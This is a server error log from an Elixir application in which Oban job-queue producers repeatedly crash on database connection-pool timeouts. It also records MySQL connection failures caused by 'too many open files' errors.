[Sun Sep  6 00:45:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:45:28.243977Z], limit: 10, uuid: "dc62db25-4c32-480e-bd87-d213eda83b5f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:28.243981Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76227>, refresh_timer: #Reference<0.2525715032.1068498948.76190>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:45:28.244491Z], limit: 5, uuid: "36cb3ea4-6cbd-42de-869a-8a5f74ff7cf1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:28.244496Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76229>, refresh_timer: #Reference<0.2525715032.1068498948.76207>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:45:28.247263Z], limit: 50, uuid: "d809fa09-a71b-4318-82b0-bd1d0d932d5f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:28.247270Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76230>, refresh_timer: #Reference<0.2525715032.1121189889.219444>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:45:28.243916Z], limit: 5, uuid: "2c435fc1-a54d-419a-9166-fbafaf18cb14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:28.243924Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76228>, refresh_timer: #Reference<0.2525715032.1068498948.76180>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:41.354000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:44.105000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:44.906000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:47.290000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:47.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:49.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:45:40.239699Z], limit: 3, uuid: "3629dda8-80cf-4e91-bdc6-2f2ffadf8065", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:40.239705Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.68312>, refresh_timer: #Reference<0.2525715032.1068498948.76452>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:45:40.247014Z], limit: 5, uuid: "bfb04dec-68d1-444f-a40e-847fa83c01e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:40.247020Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.68308>, refresh_timer: #Reference<0.2525715032.1099431938.68300>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:45:40.243540Z], limit: 5, uuid: "7116aff7-7ca7-4e7e-a82d-e5322b99d54f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:40.243844Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.68311>, refresh_timer: #Reference<0.2525715032.1068498948.76448>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:45:40.242714Z], limit: 10, uuid: "7f8c5ad0-a3f3-45e6-9e0a-2cd51307570c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:45:40.242720Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.68310>, refresh_timer: #Reference<0.2525715032.1068498948.76434>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:52.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
